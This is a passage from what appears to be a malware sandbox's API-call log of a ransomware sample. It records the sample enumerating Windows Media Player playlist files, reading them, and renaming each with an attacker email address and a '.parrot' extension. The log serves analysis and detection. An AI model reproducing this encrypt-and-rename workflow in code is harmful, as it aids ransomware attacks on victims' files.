0x5d4960 [0076.819] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.819] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.822] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.822] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.823] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.823] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x437, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x437, lpOverlapped=0x0) returned 1 [0076.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.824] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.824] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0076.826] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbb45a2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb45a2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.826] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbb39bbe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="01_MUS~1.PAR")) returned 1 [0076.826] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x2240f30 [0076.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0076.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.829] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.829] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0076.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0076.829] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.829] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.830] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.831] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x414, lpOverlapped=0x0) returned 1 [0076.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.831] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.834] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.834] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.836] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.836] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x4ff, lpOverlapped=0x0) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.836] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.837] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.840] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.840] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.842] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.842] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x4f3, lpOverlapped=0x0) returned 1 [0076.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.842] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.842] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.846] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.846] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.848] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.848] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x504, lpOverlapped=0x0) returned 1 [0076.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.848] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.849] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.851] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.851] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.853] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.853] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x31d, lpOverlapped=0x0) returned 1 [0076.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.853] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.853] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.854] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.857] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.857] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.858] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.858] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x311, lpOverlapped=0x0) returned 1 [0076.858] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.858] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.859] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.861] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.861] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.863] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.863] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x410, lpOverlapped=0x0) returned 1 [0076.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.863] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.863] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.864] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.866] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.866] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.867] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.868] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x3fc, lpOverlapped=0x0) returned 1 [0076.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.868] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.868] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.871] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.871] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.873] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.873] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x401, lpOverlapped=0x0) returned 1 [0076.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.873] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.878] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.878] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.879] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.879] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x427, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x427, lpOverlapped=0x0) returned 1 [0076.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.879] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) 